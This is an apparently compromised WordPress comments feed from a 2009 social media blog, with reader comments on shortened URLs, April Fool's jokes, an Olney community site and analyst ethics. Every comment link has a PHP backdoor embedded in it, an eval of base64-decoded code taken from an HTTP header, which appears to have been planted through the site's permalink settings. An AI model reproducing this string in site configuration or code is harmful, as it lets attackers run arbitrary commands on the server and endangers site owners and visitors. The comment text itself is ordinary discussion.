Comments for Social Media Mafia http://blog.socialmediamafia.com Social Media Protection - facilitating critical thinking, amiably Sat, 31 Jul 2010 04:24:34 +0000 http://wordpress.org/?v=2.7 hourly 1 Comment on Using Shortened URLs by mrbishi http://blog.socialmediamafia.com/2009/04/06/using-shortened-urls/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-726 mrbishi Tue, 07 Apr 2009 09:39:14 +0000 http://socialmediamafia.com/?p=305#comment-726 Dany Sullivan also points out the dangers of short urls, with malicious links an ever increasing problem as you have no idea where a link will take you when you click on it. A couple of the shortening services offer a preview feature, but not many. But http://www.expandmyurl.com takes the short url generated by most main short url services and previews their long url for you so you don't get tricked into going somewhere you shouldnt. Dany Sullivan also points out the dangers of short urls, with malicious links an ever increasing problem as you have no idea where a link will take you when you click on it.

A couple of the shortening services offer a preview feature, but not many.

But http://www.expandmyurl.com takes the short url generated by most main short url services and previews their long url for you so you don’t get tricked into going somewhere you shouldnt.

]]> Comment on Best April Fool’s Joke of 2009 by GreenGoblin http://blog.socialmediamafia.com/2009/03/26/best-april-fools-joke-of-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-706 GreenGoblin Wed, 01 Apr 2009 13:21:49 +0000 http://socialmediamafia.com/?p=293#comment-706 Little more low-brow humor, but France and Google are for sale on this site. Little more low-brow humor, but France and Google are for sale on this site.

]]> Comment on Best April Fool’s Joke of 2009 by Hogg http://blog.socialmediamafia.com/2009/03/26/best-april-fools-joke-of-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-704 Hogg Wed, 01 Apr 2009 09:12:27 +0000 http://socialmediamafia.com/?p=293#comment-704 I love the one about iPhones and iPods getting heavier depending on how much music you have on them - http://bit.ly/203DWN I love the one about iPhones and iPods getting heavier depending on how much music you have on them - http://bit.ly/203DWN

]]> Comment on Best April Fool’s Joke of 2009 by kiwitravelwriter http://blog.socialmediamafia.com/2009/03/26/best-april-fools-joke-of-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-672 kiwitravelwriter Fri, 27 Mar 2009 01:45:56 +0000 http://socialmediamafia.com/?p=293#comment-672 glad my tweets make me a still a rebel and disrupter of the economy et al ..... you've made my day - if only it were true glad my tweets make me a still a rebel and disrupter of the economy et al ….. you’ve made my day - if only it were true

]]> Comment on 11 observations about our new community site in Olney by Jo Jordan http://blog.socialmediamafia.com/2009/03/04/11-observations-about-our-new-community-site-in-olney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-666 Jo Jordan Tue, 24 Mar 2009 22:28:19 +0000 http://socialmediamafia.com/?p=281#comment-666 Hi Paul, clever of you to find us. You should join up with SMM on Facebook or Linkedin. We throw good unconferences. If I had my way, we would not have to log on to make comments. It's tiresome. I think log in should be restricted to making pages. People who are coming to Olney for the day, for example, don't wnat to login and nor do we want the debris of people who come for a short while. They should be able to leave questions etc. Of course, its good to know why people aren't using the site so much. The reasons are social I suspect and because they think presence on a website will bring benefit without activity. And of course the 1:9:90 rule. 1 creates, 9 comment and 90 lurk. Think about joining SMM - a good entre into the SM world in UK. Cheers Jo Hi Paul,
clever of you to find us. You should join up with SMM on Facebook or Linkedin. We throw good unconferences.

If I had my way, we would not have to log on to make comments. It’s tiresome. I think log in should be restricted to making pages. People who are coming to Olney for the day, for example, don’t wnat to login and nor do we want the debris of people who come for a short while. They should be able to leave questions etc.

Of course, its good to know why people aren’t using the site so much. The reasons are social I suspect and because they think presence on a website will bring benefit without activity. And of course the 1:9:90 rule. 1 creates, 9 comment and 90 lurk.

Think about joining SMM - a good entre into the SM world in UK.

Cheers
Jo

]]> Comment on 11 observations about our new community site in Olney by Paul Steadman http://blog.socialmediamafia.com/2009/03/04/11-observations-about-our-new-community-site-in-olney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-664 Paul Steadman Tue, 24 Mar 2009 19:19:52 +0000 http://socialmediamafia.com/?p=281#comment-664 Jo, The guest account idea troubles me. What security can you put in place to stop this from being used by spammers and other undesirables? If the sign up loses you traffic then you need to find out why. Is it simply that the site is very young and the content is only beginning to grow? Why not simply ask those who sign up about their activities and why they are now not visiting the site so much? Other than that the site is great. Jo, The guest account idea troubles me. What security can you put in place to stop this from being used by spammers and other undesirables?

If the sign up loses you traffic then you need to find out why. Is it simply that the site is very young and the content is only beginning to grow?

Why not simply ask those who sign up about their activities and why they are now not visiting the site so much?

Other than that the site is great.

]]> Comment on Analyst 2.0: A Call For Transparency by JustinSMV http://blog.socialmediamafia.com/2009/03/18/analyst-20-a-call-for-transparency/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-651 JustinSMV Sat, 21 Mar 2009 21:08:41 +0000 http://socialmediamafia.com/?p=290#comment-651 I think it was an immature move that he was calling out a company without confirming anything and just speculating on rumors but he did apologize afterwards (after all the backlash of course) On topic though, I agree the Analyst Industry is not very trustworthy I think it was an immature move that he was calling out a company without confirming anything and just speculating on rumors but he did apologize afterwards (after all the backlash of course) On topic though, I agree the Analyst Industry is not very trustworthy

]]> Comment on Analyst 2.0: A Call For Transparency by Mark Emery http://blog.socialmediamafia.com/2009/03/18/analyst-20-a-call-for-transparency/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-646 Mark Emery Wed, 18 Mar 2009 21:56:27 +0000 http://socialmediamafia.com/?p=290#comment-646 I'm not suggesting he's a shill for mZinga. I think analysts, overall, have dubious motives because they take money from vendors in a space they supposedly cover objectively. He shouldn't have speculated publicly about his client, in short. Just because some people might benefit from certain knowledge (e.g. that mZinga may be having some financial difficulties), does not justify any means used to obtain it. Jeremiah seems like a nice guy to me too. Nice guys do crappy things sometimes (heaven knows I've done my share), and this certainly qualifies. However, my issue is only partially with him, it's more with the analyst industry overall (hence the post title). Thanks for commenting. I’m not suggesting he’s a shill for mZinga. I think analysts, overall, have dubious motives because they take money from vendors in a space they supposedly cover objectively.

He shouldn’t have speculated publicly about his client, in short. Just because some people might benefit from certain knowledge (e.g. that mZinga may be having some financial difficulties), does not justify any means used to obtain it.

Jeremiah seems like a nice guy to me too. Nice guys do crappy things sometimes (heaven knows I’ve done my share), and this certainly qualifies. However, my issue is only partially with him, it’s more with the analyst industry overall (hence the post title). Thanks for commenting.

]]> Comment on Analyst 2.0: A Call For Transparency by Dan Thornton http://blog.socialmediamafia.com/2009/03/18/analyst-20-a-call-for-transparency/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-645 Dan Thornton Wed, 18 Mar 2009 21:32:59 +0000 http://socialmediamafia.com/?p=290#comment-645 Not sure I understand all the points here. I get the fact he posted something unfounded, which was a pretty big mistake to make - but his post did say it wasn't confirmed etc, so did carry some caveats - and if I was relying on him for business advice, I'd rather he told me to wait a couple of days before spending money, rather than tells me something's wrong after I've signed a contract. But I get really confused by claiming that Forrester/Owyang are allegedly shilling for Mzinga by publicly criticising them? I've never had any professional dealings with Forrester, or indeed any software analysts, but I have had the occasional Twitter/Email chat with Jeremiah, and always found him a pretty decent guy - certainly he's posted a lot of free advice and resources on topics other than software. And I'm not sure why your hackles were raised at the fact he's popular - he did put in the original post that he was using that method as the quickest way to reach people whilst at SXSW... He definitely made a mistake, but certainly not one that is beyond anyone running their own blog or Twitter account... How about Techcrunch and Last.fm for example? Not sure I understand all the points here.

I get the fact he posted something unfounded, which was a pretty big mistake to make - but his post did say it wasn’t confirmed etc, so did carry some caveats - and if I was relying on him for business advice, I’d rather he told me to wait a couple of days before spending money, rather than tells me something’s wrong after I’ve signed a contract.

But I get really confused by claiming that Forrester/Owyang are allegedly shilling for Mzinga by publicly criticising them?

I’ve never had any professional dealings with Forrester, or indeed any software analysts, but I have had the occasional Twitter/Email chat with Jeremiah, and always found him a pretty decent guy - certainly he’s posted a lot of free advice and resources on topics other than software.

And I’m not sure why your hackles were raised at the fact he’s popular - he did put in the original post that he was using that method as the quickest way to reach people whilst at SXSW…

He definitely made a mistake, but certainly not one that is beyond anyone running their own blog or Twitter account…

How about Techcrunch and Last.fm for example?

]]> Comment on Analyst 2.0: A Call For Transparency by Jo Jordan http://blog.socialmediamafia.com/2009/03/18/analyst-20-a-call-for-transparency/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-644 Jo Jordan Wed, 18 Mar 2009 21:18:30 +0000 http://socialmediamafia.com/?p=290#comment-644 I haven't followed the whole thing but it seems to me that journos and analysts have to differentiate themselves by providing frameworks and methodologies. Wisdom of crowds works well for tasks that where large numbers will reduce measurement error to insignificance e.g., Identifying goodies on Mars with a click. Journos and analysts have to become like games designers - thinking up the systems for us. Designing the platform for wisdom of crowds, or aggregating information in complex way and showing us how the aggregation took place. As for this specific incident, yeah, wisdom of crowds seems to be giving a thumbs down. I haven’t followed the whole thing but it seems to me that journos and analysts have to differentiate themselves by providing frameworks and methodologies. Wisdom of crowds works well for tasks that where large numbers will reduce measurement error to insignificance e.g., Identifying goodies on Mars with a click.

Journos and analysts have to become like games designers - thinking up the systems for us. Designing the platform for wisdom of crowds, or aggregating information in complex way and showing us how the aggregation took place.

As for this specific incident, yeah, wisdom of crowds seems to be giving a thumbs down.

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